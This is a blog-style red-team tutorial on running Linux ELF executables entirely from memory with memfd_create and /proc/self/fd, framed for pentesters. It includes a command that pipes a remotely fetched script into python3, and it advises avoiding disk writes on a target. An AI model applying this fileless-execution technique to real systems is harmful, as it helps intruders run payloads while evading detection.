How to execute an ELF in-memory — Living off the Land
In Windows, loading an executable and then running it completely from memory, is quite complicated; lots of complicated stuff is involved (at least for me).
Doing so in Linux, however, is fairly easier, and requires no custom loaders. This is due to how Linux handles everything: in files.
Getting the basics down
Since everything is a file…
In Windows, you basically have everything treated as an object. As opposed, everything in Linux is a file, including memory itself. This, added to how Linux processes such ‘memory files’, makes it very easy to load and execute elfs from memory.
The memfd_create
function allows you to do exactly this. This is what man7.org says:
memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file, and so can be modified, truncated, memory-mapped, and so on. However, unlike a regular file, it lives in RAM and has a volatile backing storage. Once all references to the file are dropped, it is automatically released. Anonymous memory is used for all backing pages of the file. Therefore, files created by memfd_create() have the same semantics as other anonymous memory allocations such as those allocated using mmap(2) with the MAP_ANONYMOUS flag.
Memory is a file in Linux, like everything else. What this function does, simply put, is provide you the file descriptor to some location in the memory, and you can then use this descriptor to do any of the standard file operations that you normally do, like read, write, or in this case, even execute! So yes, although the ‘file’ would be in a memory, since Linux treats it as a file, it allows you to execute it, just like a ‘normal’ file.
Accessing the file…
From the previous subsection, you now have an idea for getting a file descriptor to a memory location. So all you need, is to use that descriptor to write elf contents to the memory region, then execute it. But wait…where’s this file?
Well, the file is somewhere in the memory, and we already have a descriptor to it. All descriptors in a Linux filesystem, belonging to a particular process, are stored in /proc/PROCESS_ID/fd/FD_NUMBER.
So you’d read, write, and execute using that descriptor to access the anonymous file. That’s it, this is that simple.
Steps to do it
Having discussed the idea, now let’s put this into a more concrete shape. Below is the list of steps to take to load and run an elf from memory:
- Get a file descriptor to an anonymous file using
memfd_create
. - Get the contents of the elf executable. (You must use the proper formatting as required by the language you choose to code this in. To get properly formatted file contents, see Get-File-Bytes)
- Write the contents (obtained in previous step) to the file using the descriptor (obtained in step 1).
- Execute the file
/proc/self/fd/FD_NUMBER
Choosing the right platform
You can code these steps using any language you want. However, think about it: if you are executing an executable from memory, it would not make sense to code the aforementioned steps using any compiled language to make a loader, because an actual executable file is exactly what we’ve been trying to avoid in the first place.
Instead, let’s be more specific and practical to our approach.
- ELF files are for Linux.
- Most linux distros come with interpreters for languages like Python, Perl, etc, out-of-the-box.
Therefore, it would make sense to use any one of these to code in, since then you would not need to transfer any file at all to the target machine to get an elf executed.
For instance, you can run a Python3 script without actually downloading and writing it to a file, by:
curl http://server/script.py | python3
This totally avoids the problem of any disk write operations.
Proof of Concept
I went ahead and wrote two POCs for this, have a look, and feel free to use them (for legal purposes only).
Conclusion
Just like how you as a pentester or red teamer can load executables on a Windows machine through custom loaders, Powershell, etc, this post was my attempt at describing a technique to do the same on a Linux machine.
As always, the usual disclaimer goes, that you are not allowed to use this for anything illegal; any accidental/malicious harm you cause to anyone is entirely your responsibility.